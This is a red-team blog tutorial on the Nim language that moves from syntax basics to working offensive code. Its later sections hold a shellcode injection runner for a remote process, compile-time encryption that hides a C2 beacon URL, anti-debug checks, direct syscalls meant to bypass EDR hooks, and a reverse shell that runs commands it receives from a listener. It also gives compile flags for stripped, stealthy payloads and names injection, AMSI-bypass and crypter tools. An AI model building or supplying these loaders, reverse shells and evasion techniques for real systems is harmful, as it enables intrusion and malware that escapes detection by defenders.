Welcome back to another installment of Programming Thursdays, my fellow red teamers and pen testers! Today, we’ll be diving deep into the world of Nim, a programming language that has exploded in popularity within the offensive security community. With its Python-like syntax and its ability to compile into highly efficient C or C++ code, Nim is the ultimate tool for hackers who want the speed of a systems language without the “hair-pulling” complexity of C++.
Reflecting on the cybersecurity landscape, we see a constant arms race. EDRs (Endpoint Detection and Response) are getting smarter, inspecting memory and hooking APIs. Red teamers need agile tools that are hard to signature and easy to develop. Nim fits this niche perfectly - it’s new enough that AV/EDR signatures are sparse, yet mature enough to have a rich ecosystem of offensive tooling.
In this comprehensive guide, we’ll cover Nim from the ground up: language fundamentals, control structures, functions, and then dive into the offensive applications that make Nim a secret weapon for red teams.
1. Why Nim for Red Teaming?#
In the age of modern EDR, standard payloads are caught instantly. Red teamers need custom, low-level tools that can interact directly with the operating system while evading signature-based and behavioral detection.
The Nim Advantage#
- Direct C/C++ Interop: Nim essentially transpiles to C before compiling to machine code. This means calling the Windows API is native and seamless - no FFI overhead, no external dependencies.
- Small Footprint: Nim binaries are self-contained and small (especially with proper flags), perfect for dropping on a target or injecting into memory.
- Pythonic Syntax: You write code that looks like Python, but it runs like C. The learning curve for Python developers is minimal.
- Low Detection Rate: Because Nim is relatively niche compared to C# or PowerShell, many AV heuristics haven’t caught up to its unique binary signatures. The compiled output is “novel” to signature engines.
- Compile-Time Metaprogramming: Nim’s powerful macro system allows you to obfuscate strings and generate code at compile time, ensuring that sensitive data never exists in plaintext in the binary.
- Cross-Compilation: Nim can cross-compile Windows executables from Linux, making it perfect for red team workflows where you develop on a Unix system.
2. Setting Up Your Nim Environment#
Installation#
Linux/macOS:
1
2
3
4
5
| # Using choosenim (recommended)
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
# After installation, add to PATH
export PATH=$HOME/.nimble/bin:$PATH
|
Windows:
Download the installer from nim-lang.org or use scoop:
Verify Installation#
1
2
| nim --version
nimble --version # Nim's package manager
|
Your First Nim Program#
1
2
| # hello.nim
echo "Hello, fellow hackers!"
|
1
2
| # Compile and run
nim c -r hello.nim
|
3. Nim Language Fundamentals#
Before we can write exploits, we need to understand Nim’s syntax and core concepts.
Variables and Constants#
Nim has three keywords for declaring values:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # Immutable binding (compile-time constant)
const PI = 3.14159
# Immutable binding (runtime constant - computed once)
let target = "192.168.1.10"
# target = "192.168.1.20" # ERROR: cannot reassign a 'let' variable
# Mutable binding
var counter = 0
counter = counter + 1 # OK
# Type inference (Nim infers the type from the value)
var name = "UncleSp1d3r" # Nim infers 'string'
var port = 443 # Nim infers 'int'
# Explicit type annotation
var targetIP: string = "10.10.10.10"
var targetPort: int = 8080
|
Data Types#
Scalar Types:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| # Integers
var a: int = 42 # Platform-native int (32 or 64 bit)
var b: int8 = -128 # Signed 8-bit
var c: uint16 = 65535 # Unsigned 16-bit
var d: int64 = 0xDEADBEEF # 64-bit integer
# Floating Point
var ratio: float = 0.75
var precise: float64 = 3.14159265358979
# Boolean
var isAdmin: bool = true
var hasAccess: bool = false
# Character
var letter: char = 'A'
# String
var payload: string = "calc.exe"
|
Compound Types:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| # Arrays (fixed-length, same type)
var shellcode: array[4, byte] = [0x90.byte, 0x90, 0xCC, 0xC3]
echo shellcode[0] # 0x90
# Sequences (dynamic-length arrays)
var ports: seq[int] = @[22, 80, 443, 3389]
ports.add(445)
echo ports # @[22, 80, 443, 3389, 445]
# Tuples (fixed-length, mixed types)
var target: tuple[ip: string, port: int] = ("192.168.1.1", 445)
echo target.ip # "192.168.1.1"
echo target.port # 445
# Objects (similar to structs/classes)
type
Target = object
ip: string
port: int
isOpen: bool
var dc = Target(ip: "10.10.10.1", port: 88, isOpen: true)
echo dc.ip
|
Operators#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| # Arithmetic
var sum = 10 + 5
var diff = 10 - 5
var product = 10 * 5
var quotient = 10 div 3 # Integer division = 3
var remainder = 10 mod 3 # Modulo = 1
var power = 2 ^ 8 # Exponentiation (for ints, use pow for floats)
# Comparison
var isEqual = (5 == 5) # true
var isNotEqual = (5 != 3) # true
var isGreater = (5 > 3) # true
# Logical
var andResult = true and false # false
var orResult = true or false # true
var notResult = not true # false
# Bitwise (crucial for shellcode work)
var xorResult = 0xAA xor 0x55 # XOR
var andMask = 0xFF and 0x0F # AND
var orMask = 0xF0 or 0x0F # OR
var shiftLeft = 1 shl 3 # Shift left by 3 = 8
var shiftRight = 0x80 shr 4 # Shift right by 4 = 0x08
|
Control Structures#
If/Elif/Else:
1
2
3
4
5
6
7
8
9
10
11
| proc checkPort(port: int) =
if port < 1024:
echo "Port ", port, " is privileged"
elif port == 3389:
echo "Port ", port, " is RDP - interesting!"
else:
echo "Port ", port, " is a high port"
checkPort(22)
checkPort(3389)
checkPort(8080)
|
Case Statement:
1
2
3
4
5
6
7
8
9
10
| proc getService(port: int): string =
case port
of 22: "SSH"
of 80, 8080: "HTTP"
of 443: "HTTPS"
of 445: "SMB"
of 3389: "RDP"
else: "Unknown"
echo getService(445) # "SMB"
|
Loops:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # For loop over a range
for i in 1..10:
echo "Iteration: ", i
# For loop over a sequence
let ports = @[22, 80, 443]
for port in ports:
echo "Scanning port: ", port
# While loop
var count = 5
while count > 0:
echo "Countdown: ", count
count -= 1
echo "Blast off!"
|
Functions (Procedures)#
Nim uses proc to define functions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| # Basic procedure
proc greet(name: string) =
echo "Hello, ", name, "!"
greet("UncleSp1d3r")
# Procedure with return value
proc add(a, b: int): int =
return a + b
# Implicit return (last expression is returned)
proc multiply(a, b: int): int =
a * b
echo add(5, 3) # 8
echo multiply(5, 3) # 15
# Default parameters
proc scanPort(ip: string, port: int, timeout: int = 1000): bool =
echo "Scanning ", ip, ":", port, " with timeout ", timeout
true # Placeholder return
discard scanPort("192.168.1.1", 445)
discard scanPort("192.168.1.1", 445, 5000)
|
Result Variable#
Nim procedures have an implicit result variable that holds the return value.
1
2
3
4
5
6
| proc buildPayload(cmd: string): string =
result = "powershell -enc "
result.add(cmd)
# No explicit return needed
echo buildPayload("BASE64_ENCODED_COMMAND")
|
4. Windows Offensive Security with Nim#
The number one reason red teamers use Nim is its seamless integration with the Windows API.
Using winim#
The winim library is the gold standard for Windows interaction. It provides Nim mappings for almost the entire Windows API, COM interfaces, and Windows data types.
Installation:
Simple MessageBox#
1
2
3
4
5
6
| import winim/lean
proc main() =
MessageBox(0, "Your system has been audited.", "Security Notice", MB_OK or MB_ICONWARNING)
main()
|
Compile:
1
| nim c -d:mingw --app:gui --opt:size messagebox.nim
|
Process Enumeration#
Before injecting, you often need to find a target process:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| import winim/lean
proc findProcess(name: string): DWORD =
var snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
var entry: PROCESSENTRY32
entry.dwSize = cast[DWORD](sizeof(entry))
if Process32First(snapshot, addr entry) == TRUE:
while true:
# Convert wide string to Nim string for comparison
let processName = $cast[WideCString](addr entry.szExeFile[0])
if processName.toLowerAscii().contains(name.toLowerAscii()):
CloseHandle(snapshot)
return entry.th32ProcessID
if Process32Next(snapshot, addr entry) == FALSE:
break
CloseHandle(snapshot)
return 0
let explorerPid = findProcess("explorer.exe")
echo "Explorer PID: ", explorerPid
|
Classic Process Injection (Shellcode Runner)#
The “OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread” pattern is straightforward in Nim:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
| import winim/lean
# Placeholder shellcode (replace with your payload)
# msfvenom -p windows/x64/exec CMD=calc.exe -f nim
var shellcode: array[276, byte] = [
byte 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48
# ... truncated for brevity ...
]
proc inject(pid: DWORD) =
echo "[*] Opening process: ", pid
var pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)
if pHandle == 0:
echo "[-] Failed to open process"
return
echo "[*] Allocating memory in target process"
var rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](shellcode.len),
MEM_COMMIT or MEM_RESERVE,
PAGE_READWRITE # Start with RW, not RWX
)
if rPtr == NULL:
echo "[-] VirtualAllocEx failed"
CloseHandle(pHandle)
return
echo "[*] Writing shellcode to allocated memory"
var bytesWritten: SIZE_T
let writeResult = WriteProcessMemory(
pHandle,
rPtr,
unsafeAddr shellcode,
cast[SIZE_T](shellcode.len),
addr bytesWritten
)
if writeResult == 0:
echo "[-] WriteProcessMemory failed"
CloseHandle(pHandle)
return
echo "[*] Changing memory protection to RX"
var oldProtect: DWORD
discard VirtualProtectEx(pHandle, rPtr, cast[SIZE_T](shellcode.len), PAGE_EXECUTE_READ, addr oldProtect)
echo "[*] Creating remote thread"
var threadId: DWORD
var hThread = CreateRemoteThread(
pHandle,
NULL,
0,
cast[LPTHREAD_START_ROUTINE](rPtr),
NULL,
0,
addr threadId
)
if hThread != 0:
echo "[+] Shellcode executed! Thread ID: ", threadId
else:
echo "[-] CreateRemoteThread failed"
CloseHandle(hThread)
CloseHandle(pHandle)
# Usage: inject into a specific PID
inject(1234)
|
[!WARNING]
PAGE_EXECUTE_READWRITE (RWX) is a massive red flag for EDRs. The example above uses RW for writing, then flips to RX with VirtualProtectEx. This is stealthier but not bulletproof.
5. Malware Evasion and Compilation Flags#
How you compile your Nim code is just as important as the code itself. The wrong flags can leave debug symbols, bloat the binary, or trigger AV signatures.
Essential Compilation Flags#
1
2
3
4
5
6
7
8
9
10
11
| # Development build (fast compile, includes checks)
nim c payload.nim
# Release build (optimized, no runtime checks)
nim c -d:release payload.nim
# "Danger" mode (aggressive optimization, no safety checks)
nim c -d:danger payload.nim
# Full production payload
nim c -d:danger --opt:size --app:gui --passL:-s payload.nim
|
Flag Breakdown:
| Flag | Purpose |
|---|
-d:danger | Remove all runtime checks (bounds, overflow, etc.) |
-d:release | Optimization, but some checks remain |
--opt:size | Optimize for binary size (smaller file) |
--opt:speed | Optimize for execution speed |
--app:gui | No console window (critical for GUI payloads) |
--app:console | Show console window (default) |
--passL:-s | Strip symbols from binary |
--passL:-static | Static linking (larger binary, no DLL deps) |
-d:mingw | Cross-compile for Windows from Linux |
--cpu:amd64 | Target 64-bit Windows |
--cpu:i386 | Target 32-bit Windows |
Cross-Compiling from Linux to Windows#
1
2
3
4
5
| # Install MinGW
sudo apt install mingw-w64
# Compile for Windows x64
nim c -d:mingw -d:danger --opt:size --app:gui --cpu:amd64 payload.nim
|
Stripping and Compression#
1
2
3
4
5
| # After compilation, strip the binary
strip payload.exe
# Compress with UPX (optional - may trigger some AV)
upx --best payload.exe
|
Nim’s Macros are code that runs at compile-time. This is incredibly powerful for obfuscation because you can transform your source code before it becomes a binary.
String Encryption at Compile Time#
The biggest giveaway in malware is plaintext strings. strings malware.exe reveals URLs, commands, and debug messages. Nim’s macros can encrypt these at compile time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| import std/macros
# XOR key for encryption
const XOR_KEY = 0x5A
# Compile-time encryption macro
macro encryptString(s: static[string]): untyped =
var encryptedBytes: seq[byte] = @[]
for c in s:
encryptedBytes.add(byte(ord(c) xor XOR_KEY))
# Generate a Nim array literal
var arrayLit = nnkBracket.newTree()
for b in encryptedBytes:
arrayLit.add(newLit(b))
result = quote do:
`arrayLit`
# Runtime decryption function
proc decryptString(encrypted: openArray[byte]): string =
result = ""
for b in encrypted:
result.add(char(b xor XOR_KEY))
# Usage
let encryptedUrl = encryptString("http://c2.attacker.com/beacon")
let decryptedUrl = decryptString(encryptedUrl)
echo decryptedUrl # Prints the URL at runtime
|
When you run strings on the compiled binary, you will NOT find “http://c2.attacker.com/beacon" - only the encrypted bytes.
Control Flow Obfuscation#
Macros can also be used to insert junk code, reorder blocks, or create opaque predicates:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| template antiDebug() =
# Simple anti-debug check using timing
let start = cpuTime()
var dummy = 0
for i in 0..100:
dummy += i
let elapsed = cpuTime() - start
if elapsed > 0.5: # Debugging causes delays
quit(1)
# Insert anti-debug checks throughout your code
antiDebug()
# ... your payload code ...
antiDebug()
|
7. Direct Syscalls: Bypassing User-Mode Hooks#
EDRs typically hook user-mode API functions in ntdll.dll to monitor process behavior. When your code calls VirtualAlloc, the EDR intercepts it. The solution? Direct syscalls - calling the kernel directly without going through the hooked functions.
NimlineWhispers#
The NimlineWhispers project generates Nim code for direct syscalls based on the target Windows version.
1
2
3
4
5
| # Clone the repository
git clone https://github.com/ajpc500/NimlineWhispers3
# Generate syscall stubs
python3 NimlineWhispers3.py --os Windows10 --arch x64
|
This generates a Nim file with inline assembly for each syscall. Instead of:
1
2
| # Hooked
VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE)
|
You use:
1
2
| # Direct syscall (bypasses hooks)
NtAllocateVirtualMemory(processHandle, addr baseAddress, 0, addr regionSize, MEM_COMMIT, PAGE_READWRITE)
|
This is an advanced technique that requires understanding of the Native API (Nt* functions) and the syscall numbering for your target OS version.
8. The Offensive Nim Ecosystem#
The community has built incredible tools that you should have in your arsenal:
Key Projects#
| Project | Description |
|---|
| OffensiveNim | The original “Bible” of offensive Nim by byt3bl33d3r. Templates for injection, evasion, and more. |
| NimlineWhispers3 | Direct syscall generator for bypassing user-mode hooks. |
| Nim-RunPE | Process Hollowing implementations. |
| NimPackt-v1 | Shellcode packer with multiple injection techniques. |
| Nimcrypt2 | Advanced crypter with multiple encryption and evasion techniques. |
| Denim | Code obfuscator for Nim. |
| winim | Comprehensive Windows API bindings. |
Using OffensiveNim Templates#
The OffensiveNim repository contains ready-to-use templates for common offensive tasks:
- Shellcode injection (local and remote)
- Process hollowing
- DLL injection
- Token manipulation
- Credential dumping helpers
- AMSI bypass
- ETW patching
1
2
3
| git clone https://github.com/byt3bl33d3r/OffensiveNim
cd OffensiveNim/src
nim c -d:mingw -d:danger --opt:size shellcode_local.nim
|
9. Networking in Nim#
For C2 communication, you’ll need HTTP and socket capabilities.
HTTP Client#
1
2
3
4
5
6
7
8
9
10
11
12
13
| import std/httpclient
proc beacon(url: string): string =
let client = newHttpClient()
try:
result = client.getContent(url)
except:
result = ""
finally:
client.close()
let response = beacon("http://localhost:8080/tasks")
echo response
|
Raw Sockets#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| import std/[net, os]
proc connectBack(ip: string, port: int) =
let socket = newSocket()
socket.connect(ip, Port(port))
while true:
let command = socket.recvLine()
if command == "":
break
let output = execProcess(command)
socket.send(output & "\n")
socket.close()
connectBack("192.168.1.100", 4444)
|
10. Pros and Cons for Red Teamers#
| Feature | Nim | Python | C/C++ | C# |
|---|
| Development Speed | High | Very High | Low | Medium |
| Execution Speed | Native | Slow | Native | JIT |
| Binary Size | Small-Medium | Large | Smallest | Medium |
| EDR Evasion | High | Low | Medium | Low |
| WinAPI Access | Easy (winim) | Easy (ctypes) | Native | Easy (P/Invoke) |
| Cross-Compilation | Excellent | N/A | Difficult | Limited |
| Learning Curve | Low (Pythonic) | Very Low | High | Medium |
| Community Tooling | Growing | Extensive | Extensive | Extensive |
When to Use Nim#
- Building custom loaders and stagers
- Creating unique implants for red team engagements
- Rapid prototyping of offensive tools
- When you need C-level performance with Python-like development speed
- When you need to evade signature-based detection
When NOT to Use Nim#
- When you need maximum control and minimal abstractions (use C/C++)
- When the target environment has .NET for easy lateral movement (use C#)
- When you need extensive library support (Python still has more packages)
Conclusion#
Nim is the “stealthy serpent” of the red team world. It bridges the gap between the rapid development of Python and the raw power of C. It respects your time as an operator while providing the low-level access needed to bypass modern defenses.
The offensive Nim ecosystem is maturing rapidly, with new tools and techniques emerging regularly. By mastering Nim’s syntax, understanding its compilation options, and leveraging its metaprogramming capabilities, you can create custom tooling that evades detection while maintaining the agility needed for modern red team operations.
Happy coding, and happy hacking!
References#